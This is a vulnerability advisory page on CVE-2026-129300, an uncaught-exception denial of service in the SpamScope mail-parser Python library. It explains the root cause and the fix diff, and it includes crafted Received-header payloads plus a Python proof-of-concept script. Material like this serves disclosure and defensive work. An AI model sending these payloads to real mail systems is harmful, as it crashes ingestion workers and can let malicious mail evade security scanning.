CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-129300

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

Alon Barad
Alon Barad
Software Engineer

Nov 17, 2026·8 min read·1 visit

Executive Summary (TL;DR)

SpamScope mail-parser versions 3.7.0 through 4.6.2 fail to catch OverflowError and OSError exceptions when parsing extreme dates or timezone offsets in Received email headers. Remote attackers can send crafted emails to crash automated parsing workers or evade security inspection pipelines. Upgrading to version 4.6.3 resolves the issue.

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Vulnerability Overview

SpamScope mail-parser is a widely deployed Python library designed to parse raw RFC 5322 email messages into structured objects. It serves as an extraction engine for email headers, body content, attachments, and routing path inspection, and is frequently integrated into automated threat intelligence pipelines, anti-spam filters, and Security Orchestration, Automation, and Response (SOAR) platforms.

Because mail-parser operates directly on untrusted data ingested from external Simple Mail Transfer Protocol (SMTP) gateways, IMAP mailboxes, and webhook endpoints, its parsing routines represent an exposed network attack surface. Callers rely on the library to safely handle malformed or non-compliant email headers by raising exceptions strictly confined within the custom MailParserError hierarchy.

CVE-2026-129300 (tracked as GHSA-xhrq-2mqv-q8wx) is an uncaught exception vulnerability classified under CWE-248. The flaw exists within the receiveds_format() utility function located in src/mailparser/utils.py, which is responsible for normalizing routing timestamps across all Received headers in an email message.

When receiveds_format() processes a Received header containing an extreme out-of-range year or timezone offset, underlying Python standard library date conversion routines raise OverflowError or OSError. Because the exception handler in versions 3.7.0 through 4.6.2 only catches TypeError and ValueError, the unhandled exception escapes top-level parsing functions and terminates the calling execution thread.

Root Cause Analysis

In RFC 5322 compliant email messages, each mail transfer agent (MTA) prepends a Received header to document the routing hop. These headers typically terminate with a semicolon followed by a date-time specification. During message parsing, mail-parser extracts these headers and invokes receiveds_format() in src/mailparser/utils.py to normalize the hop timestamps into UTC format.

To perform this normalization, receiveds_format() strips leading comments from the raw date string and passes the resulting string to convert_mail_date(). Internally, convert_mail_date() parses the components of the timestamp and delegates the epoch calculation and timezone shifting to the Python standard library functions calendar.timegm() and datetime.fromtimestamp().

The root cause of CVE-2026-129300 is an incomplete exception handling block surrounding the call to convert_mail_date(). The developer anticipated malformed strings that would fail type checking or format parsing, wrapping the call in an except (TypeError, ValueError): block. However, when numerical components of the date string are syntactically valid integers that exceed C-level integer boundaries, Python raises exceptions outside this tuple.

Specifically, two distinct failure modes occur inside the standard library delegates:

  1. Epoch Calculation Overflow: When the date string contains a year value with 12 or more digits (such as 292277026596), calendar.timegm() attempts to convert the value into epoch seconds. This value exceeds standard 64-bit integer limits (int64), causing the runtime to raise OverflowError.
  2. System Timestamp Boundary Violation: When the date string contains an extreme timezone offset (such as +9999999999999999), applying the offset shifts the calculated timestamp outside the valid bounds supported by the underlying operating system's C library localtime or gmtime implementation. When datetime.fromtimestamp() encounters the resulting EOVERFLOW errno, Python raises an OSError.

Neither OverflowError nor OSError inherits from TypeError, ValueError, or the library's custom MailParserError base class. While other timestamp properties in mail-parser (such as the primary Date header property) wrapped convert_mail_date() in a broad except Exception: handler, the Received header processing path omitted this coverage.

Code Analysis

The vulnerability is isolated to the date conversion block within receiveds_format() in src/mailparser/utils.py. Prior to version 4.6.3, the implementation assumed that any failure inside convert_mail_date() would manifest exclusively as a TypeError or ValueError.

# Vulnerable implementation in src/mailparser/utils.py (< 4.6.3)
def receiveds_format(receiveds):
    # ... [truncated] ...
        if i.get("date"):
            i["date"] = re.sub(r"^\s*(?:\([^)]*\)\s*)+", "", i["date"])
            try:
                j["date_utc"], _ = convert_mail_date(i["date"])
            except (TypeError, ValueError):
                # Fails to catch OverflowError or OSError raised by C-backed stdlib calls
                j["date_utc"] = None

In commits d69f6f9b6ad0bf74d731b373bbdeabb462c32b26 and e1d9fe6778045d6e2c44406bc8822e3464c1097f (merged via Pull Request #171), the maintainers updated the exception tuple in receiveds_format() to explicitly catch OverflowError and OSError alongside TypeError and ValueError.

--- a/src/mailparser/utils.py
+++ b/src/mailparser/utils.py
@@ -862,7 +862,12 @@ def receiveds_format(receiveds):
             i["date"] = re.sub(r"^\s*(?:\([^)]*\)\s*)+", "", i["date"])
             try:
                 j["date_utc"], _ = convert_mail_date(i["date"])
-            except (TypeError, ValueError):
+            except (TypeError, ValueError, OverflowError, OSError):
+                # Out-of-range dates fail in three different ways: a huge
+                # year overflows int64 inside calendar.timegm()
+                # (OverflowError), and a huge timezone offset pushes the
+                # timestamp into the band where datetime.fromtimestamp()
+                # reports EOVERFLOW (OSError).
                 j["date_utc"] = None
 
         # Add delay

When the patched code encounters an out-of-range year or timezone offset, it catches the resulting exception and assigns None to j["date_utc"], matching the fallback behavior already established for unparseable date strings. This allows the parser to continue processing the remaining headers and body of the email without interruption.

> [!NOTE] > Fix Completeness Assessment: Expanding the exception tuple to (TypeError, ValueError, OverflowError, OSError) addresses all known exception types raised by Python's email.utils.parsedate_tz, calendar.timegm, and datetime.fromtimestamp when operating on string inputs. Because i["date"] is guaranteed to be a string due to the preceding re.sub() operation, no other standard library exception types are reachable through convert_mail_date().

Exploitation

Exploiting CVE-2026-129300 requires no authentication, elevated privileges, or user interaction. An attacker only needs the ability to submit an email message to a target service or ingestion pipeline that parses messages using a vulnerable version of mail-parser (>= 3.7.0, < 4.6.3).

Because SMTP allows senders to include arbitrary preexisting Received headers in outbound messages before they reach the recipient's mail boundary, an attacker can prepend a forged Received header containing a malformed timestamp directly in the raw message payload. When the recipient system ingests the message via parse_from_string(), parse_from_bytes(), parse_from_file(), or parse_from_file_obj(), the parser processes all Received headers sequentially and triggers the crash.

Proof of Concept Vectors

The vulnerability can be triggered using either of two distinct header payloads:

Received: from attacker.com ([192.0.2.1]) by mx.victim.com; Tue, 7 Mar 292277026596 14:29:24 +0000
Received: from attacker.com ([192.0.2.1]) by mx.victim.com; 7 Mar 1970 14:29:24 +99999999999999999999

Python Verification Script

The following script demonstrates both unhandled exception vectors against vulnerable installations of mail-parser:

import mailparser
 
# Vector 1: Triggers OverflowError in calendar.timegm() via 12-digit year
raw_mail_year = (
    "Received: from x ([1.2.3.4]) by mx.victim.com; "
    "Tue, 7 Mar 292277026596 14:29:24 +0000\r\n\r\nTest Body\r\n"
)
 
try:
    mail = mailparser.parse_from_string(raw_mail_year)
    print("Parsed year vector successfully:", mail.received)
except OverflowError as e:
    print("VULNERABLE: Unhandled OverflowError escaped parser:", e)
 
# Vector 2: Triggers OSError (EOVERFLOW) in datetime.fromtimestamp() via extreme timezone
raw_mail_tz = (
    "Received: from a by b; 7 Mar 1970 14:29:24 +9999999999999999\r\n\r\nTest Body\r\n"
)
 
try:
    mail = mailparser.parse_from_string(raw_mail_tz)
    print("Parsed timezone vector successfully:", mail.received)
except OSError as e:
    print("VULNERABLE: Unhandled OSError escaped parser:", e)

On versions prior to 4.6.3, executing this script results in immediate exception termination on both vectors. On version 4.6.3 and later, both calls return a parsed object where the date_utc field for the malformed hop is safely set to None.

Impact Assessment

CVE-2026-129300 carries a CVSS v3.1 base score of 5.3 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. The vulnerability does not permit memory corruption, arbitrary code execution, data disclosure, or unauthorized modification of data. Its impact is strictly confined to service availability and downstream inspection logic.

In production environments, applications utilizing mail-parser typically catch MailParserError to isolate malformed emails from halting worker processes. Because OverflowError and OSError bypass MailParserError, an uncaught exception terminates the active worker thread or process.

If the ingestion architecture processes emails in batches without per-message fault isolation, a single email containing a malformed Received header will abort processing for the entire batch. Furthermore, if the message queue broker automatically retries unacknowledged messages upon worker crash, a single malicious email can create a poison-pill loop that repeatedly crashes worker instances and stalls the ingestion queue.

> [!WARNING] > Defense Evasion Risk (MITRE ATT&CK T1562.001): Security analysis frameworks, phishing detection engines, and malware sandboxes (such as SpamScope) rely on mail-parser to extract URLs, headers, and file attachments for inspection. If an error handler fails open when an unexpected exception occurs during parsing, an attacker can prepend a malformed Received header to a phishing or malware email to crash the analysis routine and bypass automated security inspection.

Remediation

The primary remediation is to upgrade mail-parser to version 4.6.3 or later, which incorporates the expanded exception handling in src/mailparser/utils.py.

Package Upgrade

Update the dependency using pip or your project's package manager:

pip install --upgrade "mail-parser>=4.6.3"

After upgrading, verify the installed version in your Python environment:

python3 -c "import mailparser; print(mailparser.__version__)"

Temporary Workaround

For environments where an immediate package upgrade cannot be deployed, developers should implement a defensive wrapper around all mail-parser entry points (parse_from_string, parse_from_bytes, parse_from_file, and parse_from_file_obj) that explicitly catches OverflowError and OSError alongside MailParserError:

import logging
import mailparser
from mailparser.exceptions import MailParserError
 
def safe_parse_email(raw_content: str):
    try:
        return mailparser.parse_from_string(raw_content)
    except (MailParserError, OverflowError, OSError) as exc:
        logging.warning("Failed to parse email due to malformed header or date overflow: %s", exc)
        return None

Note that while catching OverflowError and OSError outside the library prevents the calling worker process from crashing, the parser will still abort processing of the individual message containing the malformed header. Upgrading to version 4.6.3 is necessary to allow the library to gracefully set date_utc to None and complete parsing of the remaining email body and attachments.

Official Patches

SpamScopeSpamScope mail-parser Release 4.6.3
SpamScopePull Request #171 fixing unhandled OverflowError and OSError in receiveds_format
GitHubGitHub Security Advisory GHSA-xhrq-2mqv-q8wx

Fix Analysis (2)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Affected Systems

SpamScope mail-parser (Python package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-parser
SpamScope
>= 3.7.0, < 4.6.34.6.3
AttributeDetail
CVE IDCVE-2026-129300 (GHSA-xhrq-2mqv-q8wx)
Weakness ClassCWE-248: Uncaught Exception
CVSS v3.1 Score5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)
Affected Componentreceiveds_format() in src/mailparser/utils.py
Affected VersionsSpamScope mail-parser >= 3.7.0, < 4.6.3
Patched Version4.6.3
ImpactDenial of Service via unhandled OverflowError or OSError
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application or System Exploitation
Impact
T1562.001Impair Defenses: Disable or Modify Tools
Defense Evasion
CWE-248
Uncaught Exception

An exception is thrown by an application or runtime environment, but the application does not catch or handle the exception, causing the program to terminate unexpectedly or enter an unexpected state.

Vulnerability Timeline

Primary security fix implemented in commit d69f6f9b6ad0bf74d731b373bbdeabb462c32b26.
2026-08-18
Fix and unit test suite merged via Pull Request #171 in commit e1d9fe6778045d6e2c44406bc8822e3464c1097f.
2026-08-19
GitHub Security Advisory GHSA-xhrq-2mqv-q8wx and CVE-2026-129300 officially published.
2026-11-16
National Vulnerability Database (NVD) entry published.
2026-11-16
Downstream OSV vulnerability registries synchronized.
2026-11-17

References & Sources

  • [1]GitHub Security Advisory GHSA-xhrq-2mqv-q8wx
  • [2]Official CVE Record: CVE-2026-129300
  • [3]National Vulnerability Database (NVD): CVE-2026-129300
  • [4]Fix Commit d69f6f9b6ad0bf74d731b373bbdeabb462c32b26
  • [5]Fix Commit e1d9fe6778045d6e2c44406bc8822e3464c1097f
  • [6]SpamScope mail-parser Pull Request #171
  • [7]SpamScope mail-parser Release Tag 4.6.3
  • [8]CVEListV5 JSON Record for CVE-2026-129300

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 2 hours ago•CVE-2026-129239
6.5

CVE-2026-129239: Privilege Escalation and Unauthorized Data Exposure in Directus SharesService

Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.

Alon Barad
Alon Barad
3 views•10 min read
•about 3 hours ago•CVE-2026-88987
5.4

CVE-2026-88987: Stored Cross-Site Scripting via XHTML and XML Data URIs in Silverstripe Framework

CVE-2026-88987 (GHSA-qqrg-8jpm-8mph) is a stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe Framework prior to version 6.2.13. The framework's HTML sanitization engine, XssSanitiser, relies on an incomplete regular expression denylist when filtering URI schemes in HTML attributes. Specifically, the sanitizer strips data:text/html URIs but fails to restrict executable XML and XHTML media types such as data:application/xhtml+xml, data:text/xml, and data:application/xml. An authenticated user with content creation privileges can embed crafted data URIs inside HTML attributes like iframe src or object data, leading to arbitrary JavaScript execution when the content is rendered by a victim's browser.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 4 hours ago•CVE-2026-88988
5.4

CVE-2026-88988: Stored Cross-Site Scripting via SVG Data URIs in Silverstripe Framework

A Stored Cross-Site Scripting (XSS) vulnerability exists in Silverstripe Framework versions prior to 6.2.13 within the SilverStripe\Core\XssSanitiser component. The HTML sanitizer fails to strip SVG data URIs (data:image/svg*) from dangerous HTML attributes such as href, src, lowsrc, and data. Authenticated CMS authors can persist crafted SVG data URIs in stored content, leading to arbitrary JavaScript execution in the browser context of users who view or interact with the rendered page.

Alon Barad
Alon Barad
4 views•9 min read
•about 5 hours ago•CVE-2026-88989
4.3

CVE-2026-88989: Authorization Bypass in Silverstripe Framework GridFieldDetailForm

CVE-2026-88989 (tracked as GHSA-3qh3-54qg-gpq3) is a missing authorization vulnerability (CWE-862) in the Silverstripe Framework affecting versions prior to 6.2.13. The flaw exists within the GridFieldDetailForm_ItemRequest request handler, which orchestrates record creation and editing workflows inside the Silverstripe CMS backend. Specifically, the server-side persistence method saveFormIntoRecord() fails to verify whether an authenticated user possesses the necessary creation permissions (canCreate) when processing an unpersisted DataObject record. Consequently, a low-privileged CMS user who has permission to access a GridField interface and edit existing records can bypass role-based creation restrictions. By sending a crafted HTTP POST request directly to the item/new endpoint with the action_doSave parameter, the user can instantiate and persist unauthorized database records. The vulnerability is rated Medium severity with a CVSS v3.1 base score of 4.3 and is remediated in Silverstripe Framework version 6.2.13.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 6 hours ago•CVE-2026-91112
6.8

CVE-2026-91112: Privilege Escalation via CMS_ACCESS_SecurityAdmin in Silverstripe Framework

Silverstripe Framework prior to version 6.2.13 contains an improper privilege management vulnerability (CWE-269) within the Group authorization and validation logic. A delegated administrator possessing the CMS_ACCESS_SecurityAdmin permission, but lacking full ADMIN privileges, can edit or reparent groups that acquire administrative capabilities indirectly via permission roles or ancestor inheritance. By adding their own account to such a group or moving a controlled group underneath a role-privileged parent, the user escalates to full administrative access across the CMS.

Amit Schendel
Amit Schendel
4 views•9 min read